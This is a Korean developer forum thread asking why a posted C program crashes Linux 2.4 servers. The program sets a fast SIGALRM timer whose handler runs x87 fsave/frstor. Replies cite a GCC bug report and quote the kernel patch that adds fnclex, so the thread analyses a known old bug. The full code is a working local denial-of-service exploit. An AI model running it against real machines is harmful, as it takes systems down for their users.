서버 다운시키는 공격코드 ?

nayana의 이미지

예전에 커널이 2.4 버전에서 실행하면 다운되는 코드가 있었습니다. 그래서 한창 이슈가 되고 있었는데.....마침 kldp에서 찾아보니
소스가 있더군요..요즘에 여유가 있어서 코드를 분석 해보고 무엇때문에 다운되는건지 알아볼려고 합니다. ^^
하지만 쉽지 않네요...코드는 다음과 같습니다.

      1 #include <sys/time.h>
      2 #include <signal.h>
      3 #include <unistd.h>
      4
      5 static void TakeDown(int ignore)
      6 {
      7     char fpubuf[ 108 ];
      8
      9     __asm__ __volatile__ ( "fsave %0\n" : : "m"( fpubuf ) );
     10     __asm__ __volatile__ ( "fsave %0\n" : : "m"( *fpubuf ) );
     11
     12     write( 2, "*", 1 );
     13
     14     __asm__ __volatile__ ( "frstor %0\n" : : "m"( fpubuf ) );
     15 }
     16
     17 int main( int argc, char *argv[] )
     18 {
     19     struct itimerval spec;
     20
     21     signal( SIGALRM, TakeDown );
     22
     23     spec.it_interval.tv_sec  = 0;
     24     spec.it_interval.tv_usec = 100;
     25     spec.it_value.tv_sec     = 0;
     26     spec.it_value.tv_usec    = 100;
     27
     28     setitimer( ITIMER_REAL, &spec, NULL );
     29
     30     while(1)
     31         write(1, ".", 1);
     32
     33     return 0;
     34 }
     35

main부분은 무슨 말인지 알겠는데...TakeDown함수가 무슨 소리인지 모르겠네요..그리고 왜 이코드가 서버를 다운 시키는건가요?

익명 사용자의 이미지

gcc 버그로 제일 처음에는 발표되었다고 하네요. TakeDown을 역어셈한 부분에 대한 설명을 읽어보시면 도움이 될 것 같군요.

GCC Bugzilla

alsong의 이미지

소스는 시그널 핸들러에서 FPU 상태정보를 무한히 읽고(fsave) 쓰는(frstor)
일을 합니다.

Patch 소스를 보니 fnclex라는 명령어가 추가 되었더군요.
이건 FPU의 exception flags들을 clear하는 명령입니다.

fwait뒤에 fnclex가 따라다닌다 라고 개발매뉴얼에 나와 있네요.
단일 명령으로 fclex를 호출하는게 좋아보이고
아래는 위치가 바뀐것 같기도 한것 같은데...

왜 crash 되는지 모르겠군요. 전반적으로 어렵네요. :(

Quote:
#define clear_fpu( tsk ) do { \
if ( tsk->flags & PF_USEDFPU ) { \
- asm volatile("fwait"); \
+ asm volatile("fnclex ; fwait"); \
tsk->flags &= ~PF_USEDFPU; \
stts(); \
} \

참조)IA-32 Intel Architecture Software Developer's Manual

p.s)틀린부분이 있으면 고수분들이 잡아주시길 :)

그나저나 백수 언제 탈출하냐... ㅡㅡ; 배고파라.

댓글 달기

Filtered HTML

  • 텍스트에 BBCode 태그를 사용할 수 있습니다. URL은 자동으로 링크 됩니다.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>
  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.

BBCode

  • 텍스트에 BBCode 태그를 사용할 수 있습니다. URL은 자동으로 링크 됩니다.
  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param>
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.

Textile

  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • You can use Textile markup to format text.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>

Markdown

  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • Quick Tips:
    • Two or more spaces at a line's end = Line break
    • Double returns = Paragraph
    • *Single asterisks* or _single underscores_ = Emphasis
    • **Double** or __double__ = Strong
    • This is [a link](http://the.link.example.com "The optional title text")
    For complete details on the Markdown syntax, see the Markdown documentation and Markdown Extra documentation for tables, footnotes, and more.
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>

Plain text

  • HTML 태그를 사용할 수 없습니다.
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.
  • 줄과 단락은 자동으로 분리됩니다.
댓글 첨부 파일
이 댓글에 이미지나 파일을 업로드 합니다.
파일 크기는 8 MB보다 작아야 합니다.
허용할 파일 형식: txt pdf doc xls gif jpg jpeg mp3 png rar zip.
CAPTCHA
이것은 자동으로 스팸을 올리는 것을 막기 위해서 제공됩니다.